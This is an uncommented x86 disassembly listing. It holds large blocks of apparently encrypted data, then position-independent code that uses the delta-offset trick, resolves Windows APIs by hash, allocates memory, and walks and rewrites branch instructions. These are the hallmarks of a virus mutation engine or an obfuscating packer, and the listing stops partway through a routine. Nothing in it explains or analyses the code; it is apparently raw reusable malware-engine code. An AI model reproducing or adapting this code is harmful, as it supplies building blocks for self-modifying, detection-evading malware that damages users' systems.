		dd 3231A443h, 9BB2C9C7h, 0B063F9F5h, 3BFC8FF5h,	0C5D6FD8Ch
		dd 0EF9181DDh, 75F7FF92h, 111CC795h, 558150EBh,	0C922C094h
		dd 0EC9792h, 5B2E1D79h,	524F8234h, 0C7E95FBBh, 96497FD5h
		dd 17DF728Fh, 0F400EFBEh, 0AE4C4944h, 99CB9181h, 0CC61FBEBh
		dd 11CB9BB0h, 48895C6Eh, 0B79E1932h, 8B32324Dh,	9582F153h
		dd 0BA094094h, 91828499h, 85BE6C3Eh, 2162h, 0CDC09300h
		dd 918284D0h, 327A2577h, 0BEB5440Bh, 0B7A4293Eh, 506CAE84h
		dd 18101C8Ah, 0C8FEA3E6h, 3D450D17h, 0A1DB462Eh, 7BE68Eh
		dd 5C988569h, 0C13A27CFh, 2065C0ACh, 7B84610Dh,	0D4230EE6h
		dd 324CA945h, 52B25519h, 0C2815A54h, 4,	8704EA83h, 525C2414h
		dd 0C281E289h, 4, 8704EA83h, 895C2414h,	89522434h, 4C281E2h
		dd 81000000h, 4EAh, 24148700h, 243C895Ch, 262B68h, 242C8900h
		dd 0D67814BDh, 5DEE8905h, 243C8B54h, 4C481h, 0EC830000h
		dd 24348904h, 0F7242C81h, 8F2F8F4Ch, 47810847h,	8F4CF708h
		dd 243C8B2Fh, 81E18951h, 4C1h, 4C18100h, 87000000h, 0FF5C240Ch
		dd 815E2434h, 4C4h, 0FD65E900h,	1274FFFAh, 0C5F48B47h
		dd 8C77B1Ah, 0D67E47B8h, 0FFC50305h, 7C9C83E0h,	32A04279h
		dd 7445FA43h, 0A56B8C1Eh, 56F324Dh, 0A76CE328h,	7E767454h
		dd 0B757421Ah, 890AB558h, 0BE86Ah, 2F30000h, 63E3EFA3h
		dd 0F705C581h, 3890FB0h, 0F000000h, 665ED0BFh, 9FBAE981h
		dd 628EC681h, 0BA660000h, 77684B2Bh, 0B6000018h, 8BFC5B65h
		dd 0AE93Eh, 0CE950000h,	958EEA26h, 21432FE9h, 552DF781h
		dd 31B923AEh, 8101BCB0h, 2CD676F7h, 81C28B38h, 0F313C8EFh
		dd 0C3BF0F37h, 8B663E89h, 4EE83D0h, 3D98166h, 1EB837Bh
		dd 2D850Fh, 0FE90000h, 72000000h, 358133C8h, 683C47FDh
		dd 7D9AB686h, 2DE907F4h, 7B000000h, 0C96F809Ah,	343A48DCh
		dd 9118F4A0h, 40DF948Ah, 815F0A53h, 0B32736C1h,	0FF85E95Dh
		dd 0D2CCFFFFh, 10B764E5h, 0E55C9E49h, 0E3D3A80Eh, 8EBh
		dd 20910000h
		dd 0E6E9710Fh, 68000004h, 5D680F0h, 0FAFC5AE9h,	816D68FFh
		dd 50E905D6h, 68FFFAFCh, 5D682DDh, 0FAFC46E9h, 3348B0FFh
		dd 0C8639DF8h, 0E07984EFh, 0FE93ECC7h, 90ADD63Dh, 4FFFAC17h
		dd 0B5801B36h, 92F93249h, 0FED5D667h, 0B030EB84h, 5C1D2F1h
		dd 914666D8h, 2D40459Bh, 15068D5Ch, 0B26CAE85h,	0C8353FE0h
		dd 0E97E6B2h, 0F3BD3EBFh, 0D995BBC5h, 1A5A5D03h, 45B1403Eh
		dd 8358095Ah, 0E7E29D7Fh, 7EB668A8h, 339EEF72h,	727EB622h
		dd 0DD6E88A5h, 2875792Fh, 727EB627h, 0DC661A9h,	4B7DD971h
		dd 2F976h, 0C4F6EA00h, 0D222510Fh, 364CA945h, 0B0417725h
		dd 7FA9D51Dh, 995B8372h, 585B3D46h, 650B205Ch, 0D10C5EBAh
		dd 0E57C5EEAh, 0DB25086Fh, 53EAC40h, 0D4A51977h, 0B68271F9h
		dd 0A8441675h, 63766C24h, 3BDAAAD0h, 0B77A211Eh, 0BE5A018Ch
		dd 0AFFD7B86h, 2780BDAh, 6ACF0839h, 0E4F1DCABh,	637B873Dh
		dd 18A68B31h, 0DF6FB590h, 68037924h, 0D1E644Fh,	6FAA5B8Ah
		dd 538A3AE0h, 31Fh, 0FD3E4DB5h,	0D4D76896h, 0CCEF7EF9h
		dd 228598E1h, 1C9FB2CBh, 3B40FAA1h, 4EAE8526h, 6C97FE39h
		dd 89F3DADDh, 0FA8B35F6h, 0D804C6D7h, 9E964166h, 5A7B5619h
		dd 0FD6CAE85h, 0E67786AFh, 4D411F3Dh, 4CA11BCh,	0EDBC7285h
		dd 8504B5A6h, 5F005272h, 0CB262B79h, 311C9FB2h,	0F0BDB1CCh
		dd 728504DEh, 0CC5FA588h, 67683220h, 879A755Ch,	0FD072ED1h
		dd 0C0A66962h, 47EDE971h, 2A226h, 0BBD02800h, 50EB1560h
		dd 68017C57h, 61B644Fh,	18354EA5h, 0C777249Fh, 2D08A3BEh
		dd 0A61BAD1h, 765D5EEFh, 8B8730Ch, 4494A79h, 19CE66D8h
		dd 7E742C13h, 4FD246Bh,	0C89A7285h, 4789924h, 0B0167285h
		dd 8E20BE75h, 0B3054B77h, 44000001h, 0F0FC8FE9h, 45E3496Ah
		dd 0E5402C3Fh, 60BF049Fh, 50E4F2B1h, 0AF7E09A2h, 0AE41F3E0h
		dd 1DC6946Ch, 0A5D2217Fh, 0B817DA88h, 727F5808h, 0C459A28Fh
		dd 0E08CB228h, 7F57B4A5h, 39EC5A72h, 7D3BE4FAh,	37C14Bh
		dd 35380000h, 0A7BDB1CCh, 96473F8Bh, 31E29088h,	7E742C6Bh
		dd 9750246Bh, 0DC06727Fh, 0B8C3DCC1h, 3F99BAE7h, 1304816Dh
		dd 0BD727F88h, 8519DA0Dh, 624B7D07h, 0DEh, 533F4586h, 83591524h
		dd 84C2D3FEh, 17456CAEh, 0C2C19061h, 6CAE84D1h,	717B2476h
		dd 0FD26F94h, 0E2EED0D7h, 2ED1E00Bh, 6A1DB46h, 1EF6737Ah
		dd 5D4FAC4h, 9F3E5F72h,	0F746CADh, 0E8E87272h, 76D399BAh
		dd 1B8730Ch, 9C47D822h,	0ADA3FE31h, 0BDCE346Ch,	0E8174F7Ah
		dd 0C0130A0Bh, 0C8D5F889h, 4F6CADF1h, 0F652621Dh, 0CB26E9F8h
		dd 69CF1AADh, 5E2BA065h, 450CF7A8h, 0C27281F0h,	0EADD5218h
		dd 3FC2F10Eh, 81F38390h, 0A0560472h, 142952D1h,	0F309E493h
		dd 87FCA758h, 0D51811EAh, 0F59FE974h, 132F4h, 0CB609800h
		dd 0E07B85D0h, 0F891ECC7h, 96ABD43Fh, 0A8C53E15h, 0B7E7B40Fh
		dd 9DF8334Eh, 0FAD1CA61h, 0E6CDEE7Fh, 9828839Ch, 2D9FAC9h
		dd 0A97E66D8h, 2D404583h, 0C659A38Ah, 3F458FE5h, 9FE5402Ch
		dd 0EFA92B8Ch, 84E0FDD0h, 35676CAEh, 0F75F7207h, 90727FD1h
		dd 0CB303FC2h, 0EF4275B6h, 0F9C4FF92h, 727FD1D8h, 0C387FF8Eh
		dd 80284FEDh, 2AA2B312h, 77257280h, 809BE14Ch, 0C2C19027h
		dd 72802AD1h, 0F225B76h, 2CD78567h, 8D61FC01h, 0A25Ch
		dd 0FD19D000h, 0C8A0BFE2h, 25D78887h, 2F62776Bh, 728420F8h
		dd 2750DF6Eh, 209ABB0Ah, 0C1CC7284h, 728420D4h,	0F3A12173h
		dd 0CA9AC8C0h, 0A17A156Fh, 571F304Ah, 5DC6EC4Ah, 98C283E7h
		dd 0B330B428h, 213BE0Ch, 85E75E19h, 0AC7E21D7h,	2942B879h
		dd 9CAFD558h, 48690AD0h, 6804176Dh, 9451748Dh, 759F3A34h
		dd 13D47FDh, 0B22DD4B1h, 0DE91E08Ch, 6D162953h,	314B8A5Dh
		dd 0F0EA9D1Eh, 0FAA9EFBFh, 0EAD9A85Fh, 0E75E60E9h, 18033C6Eh
		dd 0E4A549E2h, 7EBFB3FEh, 0F5326805h, 1B85B7Ch,	3, 45190B23h
		dd 0DB462E3Dh, 7BE68EA1h, 98856900h, 3A27CF5Ch,	65C0ACC1h
		dd 84610D20h, 230EE67Bh, 4CA945D4h, 0B2551932h,	8904EC83h
		dd 0E789243Ch, 4C781h, 0EF830000h, 243C8704h, 3FBC685Ch
		dd 1C890000h, 465D6824h, 34890000h, 0BBA5224h, 0F76F0454h
		dd 0C2814ADAh, 14A64262h, 0A0BE564Ah, 1603491h,	0D3895EF2h
		dd 348B545Ah, 4C48324h,	7BEF68h, 241C8900h, 8B08468Fh
		dd 89512434h, 4C181E1h,	83000000h, 0C8704C1h, 1C8B5C24h
		dd 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h, 0FAF786E9h
		dd 0F4FC21FFh, 0B34C82C4h, 8434B8BBh, 0C50305D6h, 7D01E0FFh
		dd 0D5490AF9h, 0E99D3257h, 5DAD3A69h, 20006891h, 90A91B90h
		dd 9F0B527Ch, 0B7125F5h, 0AE651F4h, 7B501743h, 40694023h
		dd 16C24D2Bh, 19267F90h, 7D9617B4h, 754E23B3h, 513236B1h
		dd 0D25D40B2h, 0E0D0585Eh, 802961B1h, 3E2A2B29h, 6715ECFh
		dd 1BF70D92h, 42FC69D5h, 0DF7233F9h, 551A56B5h,	5423696h
		dd 54EB562Dh, 0A1BB5E0Fh, 4EB648Fh, 3DA23E36h, 54BE9h
		dd 6FFC0400h, 417614Ch,	1C2D48A3h, 2A47B09Bh, 0CC619AF1h
		dd 134B10EBh, 795457EAh, 664D6EFDh, 42A9021Bh, 0FC842738h
		dd 0FF75662Dh, 0C51266D7h, 2C3F456Fh, 16078A5Dh, 0B16CAE85h
		dd 953430E3h, 26CE5F9Eh, 6B909B44h, 84FED5D6h, 0E41EFBEBh
		dd 0D6F6D4C3h, 67DCAE6h, 1DB04177h, 6CAE5700h, 4F27D587h
		dd 0B3A0EFBEh, 546CAE56h, 866EFD79h, 260D36E4h,	7AF47D8h
		dd 55AF6681h, 6F8AE13Ah, 47AADDDEh, 9B412D3Ch, 3746BDF8h
		dd 0EAA2D23Fh, 21CDF38Ch, 0E5121150h, 5737246Bh, 82D06CAEh
		dd 44E323DCh, 0CF6F768Dh, 0A9FAF3E7h, 9EF536E4h, 2B06CB64h
		dd 0BCB6BED1h, 683D9CE3h, 5F0036F8h, 2E080895h,	0A6386CAEh
		dd 612A447Fh, 680F514Eh, 7E000000h, 0C5D0404h, 0DF18A675h
		dd 0B9E39C42h, 402C3F45h, 0AE855645h, 3C33466Ch, 37F7A8C1h
		dd 0A9B33F0h, 0C295514Eh, 0AE90CECFh, 781B496Ch, 16Ch
		dd 0FD198000h, 5FF4B3AEh, 9F86B95Ch, 3B26CE61h,	67C2A2BDh
		dd 6CFD781Ah, 0B80EB6BEh, 0FC05E86Dh, 89F7BE61h, 2EDC6F89h
		dd 0C35CA68Dh, 0D1A5D1E8h, 0ECB20161h, 45250F30h, 0E4412D40h
		dd 4AED819Ah, 0F74AD78h, 2852B972h, 83F25F17h, 0E21FFAEAh
		dd 0BDB1CA30h, 8875792Fh, 0A514D871h, 25AC12D5h, 50DF42E5h
		dd 805A0A27h, 0C4856DFh, 860D514Eh, 7C000000h, 1E7D88F1h
		dd 0F38C6401h, 0BFE59E4Ch, 412D4045h, 0EC8099E4h, 62A34244h
		dd 48A30419h, 0EB561E33h, 3EEF38Eh, 0BCB85BF6h,	6C9E2551h
		dd 20FCF058h, 0D33E36E4h, 0E6DF97AAh, 9673C560h, 0B03EF530h
		dd 95514E25h, 54h, 2D404589h, 8C9DE441h, 4FFF05E0h, 0AE855340h
		dd 0F0A6F46Ch, 56E511FCh, 1661CC9Eh, 79826F07h,	695208E4h
		dd 9A80ED9h, 56AF6681h,	0BD3B363Bh, 0CF15092Ah,	0A95FB8EBh
		dd 0BB7C27C5h, 203B4551h, 8551414Ch, 0F1416CAEh, 0AE1FD36h
		dd 1C6514Eh, 5A000000h,	5E233A45h, 0E88BA6D3h, 3FDB210Ch
		dd 0E8F9AFC2h, 0BE61FC05h, 9C4BDFB6h, 7E031A65h, 0DB3F5904h
		dd 0E98A0278h, 47B2B1C8h, 0F3AC3E36h, 460B87C1h, 7F2A2F4Bh
		dd 0EAFAA872h, 0F5A7DC53h, 6EFCF08Bh, 7F36B4B8h, 0E5876F02h
		dd 5509733Ah, 7F2A5D7Eh, 0A9D7FA72h, 5E0CDE96h,	0DE240FA8h
		dd 0BFB7C832h, 2A777F2Dh, 727F2A27h, 8965F80Dh,	353952ACh
		dd 43F53082h, 0C84D986Eh, 62021965h
		dd 265CC7F8h, 3D2C3C9Dh, 400FB5C8h, 2384AA47h, 0C899B2C8h
		dd 5E011C65h, 3E51AB96h, 0F6318136h, 71AAC53Fh,	7DC08618h
		dd 12B634Bh, 2C870000h,	246B7E74h, 727F9B0Ch, 7415D98Bh
		dd 0CF33510Eh, 32ED0279h, 0BD7E116Bh, 53132C56h, 0EEF38CF6h
		dd 514EFFF4h, 0B95AA7BCh, 7BAA1CB3h, 5A2F40BAh,	4917048Bh
		dd 0E2B07280h, 0F797E031h, 0FC4B7C46h, 58h, 5792C70h, 858C5974h
		dd 77FA6CAEh, 76427D0Ch, 0F3825524h, 0AE85BFDCh, 0BB0A586Ch
		dd 6CAE859Ah, 0BCC66F3Dh, 6619C3A3h, 8622337Eh,	0ED086CAEh
		dd 4FB5905Ch, 2F9F303Ch, 0C55546F8h, 0DFD38A22h, 85E6870Ah
		dd 6A906CAEh, 7960BF34h, 3098BBA1h, 8E9E4962h, 92000000h
		dd 5A7B5619h, 0FD6CAE85h, 88C0F4AFh, 0B9B4470Ah, 16275240h
		dd 25DE8C5Eh, 7F9872DEh, 29641572h, 727F992Ch, 1BCBF9ABh
		dd 70ABC43Eh, 0FA1BB679h, 9D727F98h, 0F30914CFh, 7099458h
		dd 0A1727F9Ah, 0ADD70ED9h, 0FD5B1992h, 0C221F081h, 1DF89BB4h
		dd 78561F34h, 0ED81D3h,	9D9061FAh, 422AD568h, 9830F773h
		dd 5743BDC0h, 0BC621027h, 243946ADh, 1F5D7E55h,	0A8FA7856h
		dd 0F4DDF0F7h, 937E2CA3h, 0D3E6C1h, 2CA3908Dh, 0BA65377Eh
		dd 1742CF2h, 0D28864F7h, 0A78A5D2Ch, 0B510C35Eh, 728509DCh
		dd 0D905A17Bh, 0ABBDB3C5h, 479F485h, 3CE78569h,	9CAFD530h
		dd 0B1CA301Bh, 0D51EF0BDh, 7751AAF9h, 700B71B0h, 6A265CB7h
		dd 5BF20D0Bh, 4323D18Bh, 1EFBEB99h, 0B7CA33E1h,	0D594ED81h
		dd 0D48E8F02h, 5B09AAF9h, 0D51A3B96h, 0EFBDAAF9h, 0F233F234h
		dd 8534F788h, 35394EAEh, 0D51C3994h, 0E9BBAAF9h, 0E71D183Bh
		dd 1B419854h, 0E3000000h, 1EB5440Bh, 6CAE84FDh,	9D510BC0h
		dd 48488642h, 7248FC1Ah, 37B89D18h, 3D45200Ch, 0A1DB462Eh
		dd 7BE68Eh, 5C988569h, 0C13A27CFh, 2065C0ACh, 7B84610Dh
		dd 0D4230EE6h, 324CA945h, 52B25519h, 0C281E289h, 4, 4EA81h
		dd 14870000h, 34895C24h, 0E6895624h, 4C681h, 0EE810000h
		dd 4, 5C243487h, 68240489h, 4A10h, 0B8243489h, 25B13D4Ch
		dd 4805E0C1h, 35D8F740h, 28E221E5h, 0DDCB951h, 0C801A49Ch
		dd 4EC8159h, 89000000h,	4832424h, 535E0424h, 8BBh, 89F30100h
		dd 241C8B03h, 4C481h, 348B0000h, 0E0895024h, 405h, 4C08300h
		dd 5C240487h, 5024048Bh, 405E089h, 83000000h, 48704C0h
		dd 0BCE95C24h, 44FFFAF1h, 0B0C1DC10h, 0D80A5291h, 51C3E0A1h
		dd 0D689E7B8h, 0FFC50305h, 38B5D2E0h, 0C07C134Dh, 0EFF56716h
		dd 3B79773Bh, 0C6B553Fh, 3F98803Ch, 0F29901Ah, 0E722CB7Ah
		dd 0FE7EC407h, 0A2EEEB6Eh, 902F3546h, 22972F6Ah, 0CAF99F1Ch
		dd 872A9C48h, 0E932BF6Eh, 5F02147Dh, 0D815E07Dh, 7AE53C1Dh
		dd 0C71E732Ch, 3A00B22Dh, 50B1BE1Fh, 50D0637Bh,	50F0727Dh
		dd 0BBE8A765h, 0B80AC441h, 0C121704h, 0F8312F7Eh, 5187E140h
		dd 0F44A7638h, 8D8D8D57h, 6605D68Bh, 8D89D88Bh,	5D11021h
		dd 128B0Fh, 0DE90000h, 37000000h, 2CE81997h, 3CAD011Dh
		dd 4A55610Eh, 1C0985C7h, 664C05D1h, 0F38B0000h,	67985C7h
		dd 5D1h, 6A0000h, 3E852h, 5A200000h, 54895AC3h,	44810424h
		dd 180424h, 52420000h, 0AB9FBC3h, 9E936FDh, 74000000h
		dd 0D4613F2Dh, 29E77E67h, 9E5B5FFh, 0BF0F05D1h,	0DD95FFD2h
		dd 8005D10Eh, 6A36C8h, 245995FFh, 0C08B05D1h, 409C4BEBh
		dd 0E6040BF6h, 61499D0Dh, 503990BEh, 0DFCB7942h, 58265CF1h
		dd 0A1D2101Ah, 72DF765Ah, 14288BEBh, 559BA5EBh,	0CB896C4Ch
		dd 65BBD94Fh, 1F9ECAC2h, 8A410924h, 6CE185A4h, 207A87CCh
		dd 0EB251DE8h, 291E2A74h, 9D451378h, 0BE871h, 60290000h
		dd 0A84B9328h, 0C1ED5C26h, 66565BD7h, 815ED68Bh, 5C6CC3h
		dd 16F6B900h, 0B8660000h, 33FF9310h, 28E283B8h,	0B58B5F77h
		dd 5D10F85h, 9ADDEF81h,	0D38B2C73h, 69D9C781h, 0EF814DD2h
		dd 2B753D19h, 65E28166h, 8FF557E8h, 0F38B6603h,	5E8DEB81h
		dd 81FC5E8Ch, 8C5E89C3h, 0E9D8815Eh, 814806A1h,	1E9h, 13850F00h
		dd 29000000h, 0D10AE58Dh, 20E905h, 0B39C0000h, 0C082F08Bh
		dd 9BE91FAEh, 3FFFFFFh,	0A678E609h, 8EDC67D2h, 6628BD37h
		dd 0BA74FB3Bh, 8D8D0DF6h, 5D68D81h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 16h, 49C35040h, 0EA801E32h, 0D8816658h
		dd 8D899B50h, 5D11021h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 0A7C35747h, 14354EC3h, 51858B26h, 0C705D118h
		dd 0D11C0985h, 70CC05h,	0F2EE8000h, 67985C7h, 5D1h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 710ECCC3h, 0B5FFFC13h, 5D11F91h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0F1C35747h,	858BA9B0h, 5D12765h
		dd 0C38B6660h, 8E9h, 259B1500h,	0F2E2D1D9h, 95FF61BFh
		dd 5D10EDDh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	27C35040h, 8E9B4h, 0BE1D0000h, 8895D7B4h, 0B8663215h
		dd 6A632Ah, 245995FFh, 0C08B05D1h, 61D939EBh, 0AA76BF2Eh
		dd 0E2A1CA07h, 35FA25E2h, 825E818h, 4610EE72h, 40A20487h
		dd 179482BCh, 0C279AB3Fh, 0D0307C16h, 0CAAE0522h, 0CAA4D12h
		dd 0FC3A4030h, 43623127h, 0E9F84A6Ah, 0CBEh, 2 dup(2510000h)
		dd 2 dup(0)
		dd offset dword_5BD830+8
		dd 0FADEA98Eh, 0Bh dup(0)
		dd 407D8h, 0F0002h, 110014h, 38B0026h, 2550000h, 97h dup(0)
; ---------------------------------------------------------------------------
		pusha
		call	$+5
		pop	edx
		sub	edx, 5D6907Eh
		lea	eax, [ebp+5D63A10h]
		mov	[edx+5D68DD4h],	eax
		lea	eax, loc_590B66[edx]
		mov	[edx+5D68DD8h],	eax
		call	sub_5C3818
		call	sub_5C2F4A
		mov	dword ptr [edx+5D68DC4h], 0
		push	edx
		mov	byte ptr [ebp+5D124D9h], 56h
		push	9CA8B852h
		push	dword ptr [ebp+5D124FDh]
		lea	eax, [ebp+5D45CA1h]
		call	eax
		mov	[ebp+5D110EDh],	eax
		push	4
		push	1000h
		push	30D40h
		push	0
		call	eax
		pop	edx
		or	eax, eax
		jz	short loc_5C2F42
		mov	[edx+5D68DC4h],	eax
		mov	[edx+5D68DC8h],	eax
		mov	ecx, 30D40h
		mov	edi, eax
		xor	eax, eax
		rep stosb
		push	edx
		push	4
		push	1000h
		push	400h
		push	0
		call	dword ptr [edx+5D110EDh]
		pop	edx
		mov	[edx+5D68E18h],	eax


loc_5C2F42:				; CODE XREF: ud2_____:005C2F0Dj
		popa
		mov	eax, [ebp+5D68DC4h]
		retn

; =============== S U B	R O U T	I N E =======================================



sub_5C2F4A	proc near		; CODE XREF: ud2_____:005C2ECAp
		pusha
		mov	dword ptr [edx+5D11EA9h], 400000h
		mov	dword ptr [edx+5D11DC1h], 1000h
		popa
		retn
sub_5C2F4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_5C2F61	proc near		; CODE XREF: ud2_____:005C30FFp
		pusha
		mov	edi, [edx+5D68DC4h]


loc_5C2F68:				; CODE XREF: sub_5C2F61+1Bj
		cmp	dword ptr [edi], 0
		jz	short loc_5C2F90
		cmp	dword ptr [edi+10h], 2
		jz	short loc_5C2F7E
		cmp	dword ptr [edi+10h], 4
		jz	short loc_5C2F87


loc_5C2F79:				; CODE XREF: sub_5C2F61+24j
					; sub_5C2F61+2Dj
		add	edi, 14h
		jmp	short loc_5C2F68
; ---------------------------------------------------------------------------


loc_5C2F7E:				; CODE XREF: sub_5C2F61+10j
		mov	dword ptr [edi+10h], 1
		jmp	short loc_5C2F79
; ---------------------------------------------------------------------------


loc_5C2F87:				; CODE XREF: sub_5C2F61+16j
		mov	dword ptr [edi+10h], 3
		jmp	short loc_5C2F79
; ---------------------------------------------------------------------------


loc_5C2F90:				; CODE XREF: sub_5C2F61+Aj
		popa
		retn
sub_5C2F61	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		pusha
		call	$+5
		pop	edx
		sub	edx, 5D69173h
		mov	esi, [edx+5D68E1Ch]
		mov	eax, [ebp+8]
		mov	[esi], eax
		add	dword ptr [edx+5D68E1Ch], 4
		popa
		leave
		retn	4
; ---------------------------------------------------------------------------
		pusha
		call	$+5
		pop	edx
		sub	edx, 5D69197h


loc_5C2FC6:				; CODE XREF: ud2_____:005C300Dj
		mov	esi, [edx+5D68E18h]


loc_5C2FCC:				; CODE XREF: ud2_____:005C3001j
		cmp	esi, [edx+5D68E1Ch]
		jz	short loc_5C300F
		mov	edi, [esi]
		mov	ebx, edi
		movzx	ecx, byte ptr [edi+1]
		test	byte ptr [edi+1], 80h
		jnz	short loc_5C2FE6
		add	ebx, ecx
		jmp	short loc_5C2FE8
; ---------------------------------------------------------------------------


loc_5C2FE6:				; CODE XREF: ud2_____:005C2FE0j
		sub	ebx, ecx


loc_5C2FE8:				; CODE XREF: ud2_____:005C2FE4j
		inc	ebx
		inc	ebx
		mov	eax, [ebp+5D12FF1h]
		mov	ecx, [ebp+5D10031h]
		cmp	ebx, eax
		jb	short loc_5C3003
		cmp	ebx, ecx
		ja	short loc_5C3003
		add	esi, 4
		jmp	short loc_5C2FCC
; ---------------------------------------------------------------------------


loc_5C3003:				; CODE XREF: ud2_____:005C2FF8j
					; ud2_____:005C2FFCj
		cmp	ecx, edi
		jz	short loc_5C300F
		mov	[ebp+5D10031h],	edi
		jmp	short loc_5C2FC6
; ---------------------------------------------------------------------------


loc_5C300F:				; CODE XREF: ud2_____:005C2FD2j
					; ud2_____:005C3005j
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		call	$+5
		pop	edx
		sub	edx, 5D691EFh
		mov	edi, [edx+5D68E18h]
		mov	ecx, 100h
		xor	eax, eax
		rep stosd
		mov	eax, [edx+5D68E18h]
		mov	[edx+5D68E1Ch],	eax
		popa
		retn
; ---------------------------------------------------------------------------
		pusha
		call	$+5
		pop	edx
		sub	edx, 5D69219h
		mov	byte ptr [ebp+5D124D9h], 56h
		push	0D41F6D39h
		push	dword ptr [ebp+5D124FDh]
		lea	eax, [ebp+5D45CA1h]
		call	eax
		push	edx
		push	eax
		push	8000h
		push	0
		push	dword ptr [edx+5D68DC4h]
		call	eax
		pop	eax
		pop	edx
		push	8000h
		push	0
		push	dword ptr [edx+5D68E18h]
		call	eax
		popa
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		pusha
		call	$+5
		pop	edx
		sub	edx, 5D69267h
		mov	esi, [ebp+8]


loc_5C3099:				; CODE XREF: ud2_____:005C30A9j
		call	sub_5C3336
		push	ebp
		call	dword ptr [edx+5D68DD4h]
		pop	ebp
		cmp	esi, [ebp+0Ch]
		jnz	short loc_5C3099
		call	sub_5C3336
		popa
		leave
		retn	8
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	esi
		push	edi
		push	ebx
		call	$+5
		pop	edx
		sub	edx, 5D6929Bh
		mov	esi, [ebp+8]
		mov	edi, [ebp+10h]


loc_5C30D0:				; CODE XREF: ud2_____:005C30FAj
		push	edi
		push	esi
		call	sub_5C310E
		or	eax, eax
		jz	short loc_5C30FC
		mov	edi, eax
		push	ebp
		call	dword ptr [edx+5D68DD4h]
		pop	ebp
		cmp	esi, [ebp+0Ch]
		jz	short loc_5C30FC
		mov	bx, [esi]
		and	bh, 0F0h
		mov	bl, [esi]
		and	bl, 0F0h
		call	sub_5C3797
		jmp	short loc_5C30D0
; ---------------------------------------------------------------------------


loc_5C30FC:				; CODE XREF: ud2_____:005C30D9j
					; ud2_____:005C30E8j
		mov	[ebp-4], edi
		call	sub_5C2F61
		pop	ebx
		pop	edi
		pop	esi
		mov	eax, [ebp-4]
		leave
		retn	0Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5C310E	proc near		; CODE XREF: ud2_____:005C30D2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	edi
		push	esi
		push	ecx
		push	ebx
		mov	[ebp+var_8], 0
		mov	dword ptr [edx+5D68E04h], 1
		mov	esi, [ebp+arg_0]
		mov	bx, [esi]
		mov	edi, [edx+5D68DC4h]


loc_5C3135:				; CODE XREF: sub_5C310E+3Bj
		mov	ebx, [edi+8]
		or	ebx, ebx
		jz	short loc_5C314B
		cmp	ebx, esi
		jnz	short loc_5C3146
		mov	ebx, [ebp+arg_4]
		mov	[edi+0Ch], ebx


loc_5C3146:				; CODE XREF: sub_5C310E+30j
		add	edi, 14h
		jmp	short loc_5C3135
; ---------------------------------------------------------------------------


loc_5C314B:				; CODE XREF: sub_5C310E+2Cj
		mov	bx, [esi]
		cmp	bl, 0E8h
		jz	loc_5C3225
		cmp	bl, 0E9h
		jz	loc_5C3225
		cmp	bl, 0EBh
		jz	loc_5C3225
		cmp	bl, 0E2h
		jz	loc_5C321E
		cmp	bl, 0E3h
		jz	loc_5C3215
		cmp	bx, 0E367h
		jz	loc_5C321E
		and	bh, 0F0h
		cmp	bx, 800Fh
		jz	loc_5C3225
		and	bl, 0F0h
		cmp	bl, 70h
		jz	loc_5C3225
		mov	bx, [esi]
		and	bl, 0F8h
		cmp	bl, 0B8h
		jz	short loc_5C31ED
		cmp	byte ptr [esi],	5
		jz	short loc_5C31ED
		cmp	byte ptr [esi],	2Dh
		jz	short loc_5C31ED
		cmp	byte ptr [esi],	68h
		jz	short loc_5C31ED
		inc	dword ptr [edx+5D68E04h]
		mov	bx, [esi]
		and	bh, 0F8h
		cmp	bx, 0E881h
		jz	short loc_5C31ED
		mov	bx, [esi]
		and	bh, 0F0h
		cmp	bx, 0C081h
		jz	short loc_5C31ED
		pusha
		push	ebp
		call	dword ptr [edx+5D68DD4h]
		pop	ebp
		mov	[ebp+var_4], eax
		popa
		cmp	[ebp+var_4], 1
		jnz	short loc_5C3250


loc_5C31ED:				; CODE XREF: sub_5C310E+9Bj
					; sub_5C310E+A0j ...
		mov	edi, [edx+5D11EA9h]
		push	eax
		mov	eax, [edx+5D68E04h]
		cmp	[eax+esi], edi
		pop	eax
		jb	short loc_5C3250
		mov	edi, [edx+5D11DC1h]
		push	eax
		mov	eax, [edx+5D68E04h]
		cmp	[eax+esi], edi
		pop	eax
		jg	short loc_5C3250
		jmp	short loc_5C3225
; ---------------------------------------------------------------------------


loc_5C3215:				; CODE XREF: sub_5C310E+67j
		mov	[ebp+var_8], 2
		jmp	short loc_5C3225
; ---------------------------------------------------------------------------


loc_5C321E:				; CODE XREF: sub_5C310E+5Ej
					; sub_5C310E+72j
		mov	[ebp+var_8], 1


loc_5C3225:				; CODE XREF: sub_5C310E+43j
					; sub_5C310E+4Cj ...
		mov	edi, [edx+5D68DC4h]


loc_5C322B:				; CODE XREF: sub_5C310E+139j
		mov	ebx, [edi]
		or	ebx, ebx
		jz	short loc_5C3250
		cmp	ebx, esi
		jnz	short loc_5C3244
		mov	ebx, [ebp+arg_4]
		cmp	[ebp+var_8], 0
		jz	short loc_5C3241
		add	ebx, [ebp+var_8]


loc_5C3241:				; CODE XREF: sub_5C310E+12Ej
		mov	[edi+4], ebx


loc_5C3244:				; CODE XREF: sub_5C310E+125j
		add	edi, 14h
		jmp	short loc_5C322B
; ---------------------------------------------------------------------------
		xor	eax, eax
		jmp	loc_5C3310
; ---------------------------------------------------------------------------


loc_5C3250:				; CODE XREF: sub_5C310E+DDj
					; sub_5C310E+F0j ...
		mov	bx, [esi]
		mov	edi, [ebp+arg_4]
		cmp	bl, 0EBh
		jz	short loc_5C3265
		and	bl, 0F0h
		cmp	bl, 70h
		jz	short loc_5C3279
		jmp	short loc_5C3297
